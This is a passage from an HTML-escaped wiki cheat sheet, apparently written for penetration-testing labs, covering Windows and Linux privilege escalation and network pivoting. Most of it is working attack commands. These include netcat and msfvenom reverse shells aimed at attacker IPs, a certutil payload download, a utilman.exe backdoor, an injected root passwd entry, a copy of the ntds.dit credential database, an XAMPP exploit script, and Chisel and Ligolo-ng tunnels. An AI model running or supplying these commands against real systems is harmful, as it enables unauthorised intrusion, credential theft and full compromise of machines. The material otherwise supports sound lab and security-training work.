.\RoguePotato.exe -r YOUR_IP -e &amp;quot;command&amp;quot; -l 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== GodPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/BeichenDream/GodPotato BeichenDream/GodPotato (github.com)]&lt;br /&gt;
&lt;br /&gt;
Enables privilege escalation in Windows 2012 - Windows 2022&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GodPotato -cmd &amp;quot;cmd /c whoami&amp;quot;&lt;br /&gt;
GodPotato -cmd &amp;quot;nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SharpEfsPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/bugch3ck/SharpEfsPotato bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a &amp;quot;whoami | Set-Content C:\temp\w.log&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== PrintSpoofer =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dievus/printspoofer https://github.com/dievus/printspoofer]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.&lt;br /&gt;
# To escalate privileges, the service account must have SeImpersonate privileges. To execute:&lt;br /&gt;
PrintSpoofer.exe -i -c cmd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Se-privileges ====&lt;br /&gt;
&lt;br /&gt;
===== Great list and explanation =====&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System][https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This ppt will explain how to exploit different SePrivileges&lt;br /&gt;
https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeManageVolume =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xct/SeManageVolumeAbuse&lt;br /&gt;
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#sebackupvolume&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeLoadDriverPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for PG Fuse&lt;br /&gt;
# It allows the user to load kernel drivers and execute code with kernel privilges aka NT\System&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeRestorePrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed up files and directories, thus giving the user read and write access to system files.&lt;br /&gt;
# See PG Heist writeup&lt;br /&gt;
# This script Enables SeRestorePrivilege for our current (powershell/ise) session.&lt;br /&gt;
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1&lt;br /&gt;
# You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.&lt;br /&gt;
# Example of ways to escalate privilege&lt;br /&gt;
# Utilman.exe. This application is triggered by issuing the WIN + U in windows lockscreen&lt;br /&gt;
move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old&lt;br /&gt;
move C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe&lt;br /&gt;
# Now RDP to target without logging in. Then press win+u&lt;br /&gt;
rdesktop 192.168.153.165&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== SeBackupPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeBackUpPrivilege basically allows for full system read.&lt;br /&gt;
# See if user is member of &#039;Backup Operator&#039;.&lt;br /&gt;
# https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
# https://github.com/giuliano108/SeBackupPrivilege&lt;br /&gt;
# Example 1&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeUtils.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeCmdLets.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup&lt;br /&gt;
SeBackupPrivilege is disabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE&lt;br /&gt;
Get-ChildItem : Access to the path &#039;E:\V_BASE&#039; is denied.&lt;br /&gt;
At line:1 char:4&lt;br /&gt;
+ dir  Set-SeBackupPrivilege&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege&lt;br /&gt;
SeBackupPrivilege is enabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE # ...having enabled the privilege, this now works&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
d----        18/07/2013     13:04            Private&lt;br /&gt;
PS C:\scripts&amp;gt; cd E:\V_BASE\Private&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; dir&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE\Private&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
-----        05/07/2013     12:29     306435 report.pdf&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite&lt;br /&gt;
Copied 306435 bytes&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-------------------&lt;br /&gt;
# Example 2&lt;br /&gt;
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns&lt;br /&gt;
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeCreateTokenPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.greyhathacker.net/?p=1025&lt;br /&gt;
Try running it many times&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SMBGhost ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CVE-2020-0796&lt;br /&gt;
# https://github.com/danigargu/CVE-2020-0796&lt;br /&gt;
# Compile it with Visual Studios. Change payload in exploit.cpp line 204 and add msfvenom payload&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=8081 -f dll -f csharp&lt;br /&gt;
# Compile it. Change &#039;debug&#039; to &#039;release&#039;, set correct architecture.&lt;br /&gt;
# Transfer to target&lt;br /&gt;
.\cve-2020-0796.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Iperius Backup 6.1.0 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/46863&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SystemScheduler =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/45072&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Unquoted Service Path ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In order to exploit Unquoted service path we have to:&lt;br /&gt;
# - Be able to write to the target folder - Use icacls&lt;br /&gt;
# - Be able to restart the service or machine&lt;br /&gt;
# Exmaple (10.1.1.89)&lt;br /&gt;
icacls enterprisesystemmanager.exe # We have modify permissions&lt;br /&gt;
# Generate a payload&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe &amp;gt; enterprisesystemmanager.exe&lt;br /&gt;
# Move original .exe to .bak&lt;br /&gt;
 move enterprisesystemmanager.exe enterprisesystemmanger.exe.bak&lt;br /&gt;
# Transfer our payload to target location - C:\exacqVisionEsm\EnterpriseSystemManager&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.119.130/enterprisesystemmanager.exe&amp;quot;&lt;br /&gt;
# Catche the connection&lt;br /&gt;
rlwrap nc -lvnp 443                                                                                                                                  1 ⨯&lt;br /&gt;
listening on [any] 443 ...&lt;br /&gt;
connect to [192.168.119.130] from (UNKNOWN) [10.11.1.251] 19085&lt;br /&gt;
Microsoft Windows [Version 10.0.15063]&lt;br /&gt;
(c) 2017 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;whoami&lt;br /&gt;
whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows XP SP0/SP1 - UPNP service exploit ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://sohvaxus.github.io/content/winxp-sp1-privesc.html&lt;br /&gt;
# Requirenment: Obtained a low privilege shell on your victim&#039;s computer. Operating system is Windows XP with SP0 or SP1 installed.&lt;br /&gt;
# See write up for PWK 10.11.1.14.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Exploit Suggester ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Kernel Exploit list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/SecWiki/windows-kernel-exploits&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== xampp 7.3 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/monster]&lt;br /&gt;
└─# cat exploit.ps1&lt;br /&gt;
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation&lt;br /&gt;
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)&lt;br /&gt;
# Original Author: Maximilian Barz (@S1lkys)&lt;br /&gt;
# Date: 27/09/2021&lt;br /&gt;
# Vendor Homepage: https://www.apachefriends.org&lt;br /&gt;
# Version: XAMPP &amp;lt; 7.2.29, 7.3.x &amp;lt; 7.3.16 &amp;amp; 7.4.x &amp;lt; 7.4.4&lt;br /&gt;
# Tested on: Windows 10 + XAMPP 7.3.10&lt;br /&gt;
# References: https://github.com/S1lkys/CVE-2020-11107&lt;br /&gt;
$file = &amp;quot;C:\xampp\xampp-control.ini&amp;quot;&lt;br /&gt;
$find = ((Get-Content $file)[2] -Split &amp;quot;=&amp;quot;)[1]&lt;br /&gt;
# Insert your payload path here&lt;br /&gt;
$replace = &amp;quot;C:\Users\Mike\Downloads\rev.exe&amp;quot;&lt;br /&gt;
(Get-Content $file) -replace $find, $replace | Set-Content $fil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2009-2698 (Centos 4.8) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xiaoxiaoleo/CVE-2009-2698&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2021-4034 (polkit) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/joeammond/CVE-2021-4034&lt;br /&gt;
# Check suid and see if /usr/bin/pkexec is present and python&lt;br /&gt;
# Then compile and run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2023–22809 (bypass sudo) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fail2ban ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Fail writeup&lt;br /&gt;
# Example reverse shell&lt;br /&gt;
# Option:  actionban&lt;br /&gt;
# Notes.:  command executed when banning an IP. Take care that the&lt;br /&gt;
#          command is executed with Fail2Ban user rights.&lt;br /&gt;
# Tags:    See jail.conf(5) man page&lt;br /&gt;
# Values:  CMD&lt;br /&gt;
#&lt;br /&gt;
#actionban =  -I f2b- 1 -s  -j&lt;br /&gt;
actionban = /usr/bin/nc -e /bin/sh 192.168.49.243 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Linux Kernel exploits ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux versions&lt;br /&gt;
# 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36&lt;br /&gt;
https://www.exploit-db.com/exploits/15285&lt;br /&gt;
# Linux Kernel &amp;lt; 4.4.0-116 (Ubuntu 16.04.4)&lt;br /&gt;
https://www.exploit-db.com/exploits/44298&lt;br /&gt;
# Linux Kernel &amp;lt; 4.13.9 (Ubuntu 16.04 / Fedora 27)&lt;br /&gt;
https://www.exploit-db.com/exploits/45010&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Copy Fail - CVE-2026-31431 ====&lt;br /&gt;
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py&lt;br /&gt;
&lt;br /&gt;
==== Dirty Frag: Universal Linux LPE ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/V4bel/dirtyfrag.git &amp;amp;&amp;amp; cd dirtyfrag &amp;amp;&amp;amp; gcc -O0 -Wall -o exp exp.c -lutil &amp;amp;&amp;amp; ./exp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ld_reload - Dynamic library hijacking ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If binary is missing a library AND you have write permission to library location, you can hijack the library by adding a malicous one&lt;br /&gt;
# List Dynamic Dependencies = ldd&lt;br /&gt;
# Ldd is a powerful command-line tool that allows users to view an executable file&#039;s shared object dependencies.&lt;br /&gt;
ldd /usr/bin/log-sweeper&lt;br /&gt;
        linux-vdso.so.1 =&amp;gt;  (0x00007ffe11833000)&lt;br /&gt;
        utils.so =&amp;gt; not found&lt;br /&gt;
        libc.so.6 =&amp;gt; /lib64/libc.so.6 (0x00007f6ce440c000)&lt;br /&gt;
        /lib64/ld-linux-x86-64.so.2 (0x00007f6ce47da000)&lt;br /&gt;
# Generate .so payload&lt;br /&gt;
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.160 LPORT=21 -f elf-so &amp;gt; utils.so&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SUID ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Setuid Screen 4.5.0 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/41154&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sudo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/saleemrashid/sudo-cve-2019-18634 https://github.com/saleemrashid/sudo-cve-2019-18634]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit]&lt;br /&gt;
&lt;br /&gt;
==== Systemctl (Misconfigured Permissions — sudo/SUID) ====&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium][https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Download]&lt;br /&gt;
&lt;br /&gt;
==== Sudo permission to run apache restart ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If your user have these permissions&lt;br /&gt;
(root) NOPASSWD: /usr/sbin/service apache2 restart&lt;br /&gt;
# First check what file you have write permission to.&lt;br /&gt;
# If not, check if there are any bash scripts that can be edited and place a backdoor in it.&lt;br /&gt;
# Example&lt;br /&gt;
# envvars in /etc/apache2 is writeable.&lt;br /&gt;
# Change to another user if there are any on the machine&lt;br /&gt;
export APACHE_RUN_USER=DifferentUser&lt;br /&gt;
# REMEMBER, APACHE WONT LET YOU RUN IT AS ROOT.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Exim 4.84-3 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/39535&lt;br /&gt;
# If error, fix with&lt;br /&gt;
sed -i -e &#039;s/\r$//&#039; 39535.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== OpenSMTPD 6.4.0 &amp;lt; 6.6.1 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/48051&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Writeable passwd ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate hashed password&lt;br /&gt;
openssl passwd  -1 -salt aghanim pass123&lt;br /&gt;
# Add to passwd on target&lt;br /&gt;
aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Pivoting/tunneling technique ==&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?p=2294 https://blog.aghanim.net/?p=2294]&lt;br /&gt;
&lt;br /&gt;
[https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html SSH Tunneling + SSHuttle and Chisel - Cheatsheet (trojand.com)]&lt;br /&gt;
&lt;br /&gt;
[https://cheatsheet.haax.fr/network/pivot_techniques/ Offensive Security Cheatsheet (haax.fr)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/twelvesec/port-forwarding GitHub - twelvesec/port-forwarding: Tunneling and Port Forwarding Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CHISEL AND PROXYCHAINS AND FOXYPROXY&lt;br /&gt;
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 37777 --reverse&lt;br /&gt;
# Target machine&lt;br /&gt;
./chisel client Attacker-IP:37777 R:socks&lt;br /&gt;
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port&lt;br /&gt;
[ProxyList]&lt;br /&gt;
# add proxy here ...&lt;br /&gt;
# meanwile&lt;br /&gt;
# defaults set to &amp;quot;tor&amp;quot;&lt;br /&gt;
socks5  127.0.0.1 1080&lt;br /&gt;
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --&amp;gt; 10.200.57.200 on port 1080 --&amp;gt; 10.200.57.150 (Unreachable from attacker).&lt;br /&gt;
proxychains nc -vn 10.200.57.150 3389&lt;br /&gt;
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).&lt;br /&gt;
proxychains python2 exploit.py.&lt;br /&gt;
# OR by using foxy proxy if I want to access http.&lt;br /&gt;
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).&lt;br /&gt;
# And start foxy proxy. Now I can access the webserver on.&lt;br /&gt;
# I can also use proxychains to access HTTP.&lt;br /&gt;
proxychains firefox.&lt;br /&gt;
# This will open firefox through proxychains.&lt;br /&gt;
&lt;br /&gt;
# Using SOCKS5 with chisel&lt;br /&gt;
./chisel server -v -p 8000 --socks5&lt;br /&gt;
# On the client/target/victim machine&lt;br /&gt;
chisel.exe client -v attacker.com:8000 socks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ligolo-ng ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nicocha30/ligolo-ng https://github.com/nicocha30/ligolo-ng]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### LINUX&lt;br /&gt;
# Prepare tunnel&lt;br /&gt;
sudo ip tuntap add user $(whoami) mode tun ligolo&lt;br /&gt;
sudo ip link set ligolo up&lt;br /&gt;
# Start proxy on kali&lt;br /&gt;
./proxy -laddr 192.168.45.195:53 -selfcert&lt;br /&gt;
# On target&lt;br /&gt;
./agent -connect 192.168.45.195:53 -ignore-cert&lt;br /&gt;
# See session in ligolo proxy&lt;br /&gt;
ligolo-ng» session&lt;br /&gt;
# Add pivot to internal network on kali&lt;br /&gt;
sudo ip r add 172.16.213.0/24 dev ligolo&lt;br /&gt;
# Check ip route&lt;br /&gt;
ip route&lt;br /&gt;
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100&lt;br /&gt;
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100&lt;br /&gt;
172.16.213.0/24 dev ligolo scope link&lt;br /&gt;
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.195&lt;br /&gt;
192.168.213.0/24 via 192.168.45.254 dev tun0&lt;br /&gt;
&lt;br /&gt;
# In ligolo - in correct session&lt;br /&gt;
[Agent: user@target] » start&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### WINDOWS&lt;br /&gt;
# To set up the Ligolo-ng proxy on a Windows machine, follow these steps:&lt;br /&gt;
# Download Ligolo-ng Proxy:&lt;br /&gt;
# Visit the Ligolo-ng GitHub Releases page and download the latest proxy.exe suitable for your Windows architecture.&lt;br /&gt;
# Install Wintun Driver:&lt;br /&gt;
# Ligolo-ng requires the Wintun driver to create a TUN interface on Windows.&lt;br /&gt;
# Download the appropriate wintun.dll from the Wintun repository.&lt;br /&gt;
# Place the wintun.dll file in the same directory as proxy.exe.&lt;br /&gt;
# Run the Proxy:&lt;br /&gt;
# Open Command Prompt and navigate to the directory containing proxy.exe and wintun.dll.&lt;br /&gt;
# Execute the proxy with a self-signed certificate:&lt;br /&gt;
proxy.exe -selfcert&lt;br /&gt;
# This command starts the proxy server with a self-signed TLS certificate.&lt;br /&gt;
# Configure the Agent:&lt;br /&gt;
# On the target machine, download the corresponding agent binary from the Ligolo-ng GitHub Releases page.&lt;br /&gt;
# Run the agent, specifying the IP address and port of your Windows machine running the proxy:&lt;br /&gt;
agent.exe -connect :11601 -ignore-cert&lt;br /&gt;
# Replace  with the actual IP address of your proxy machine.&lt;br /&gt;
# Manage Sessions:&lt;br /&gt;
# In the proxy&#039;s command interface, use the session command to list active sessions.&lt;br /&gt;
# Select the desired session to interact with the connected agent.&lt;br /&gt;
# Start Tunneling:&lt;br /&gt;
# Within the selected session, initiate the tunnel:&lt;br /&gt;
tunnel_start --tun&lt;br /&gt;
# Replace  with your chosen name for the TUN interface.&lt;br /&gt;
# Set Up Routing:&lt;br /&gt;
# Determine the network configuration of the agent using the ifconfig command within the session.&lt;br /&gt;
# On your Windows proxy machine, add routes to access the target network:&lt;br /&gt;
route add  mask&lt;br /&gt;
# Replace , , and  with the appropriate values based on the agent&#039;s network configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
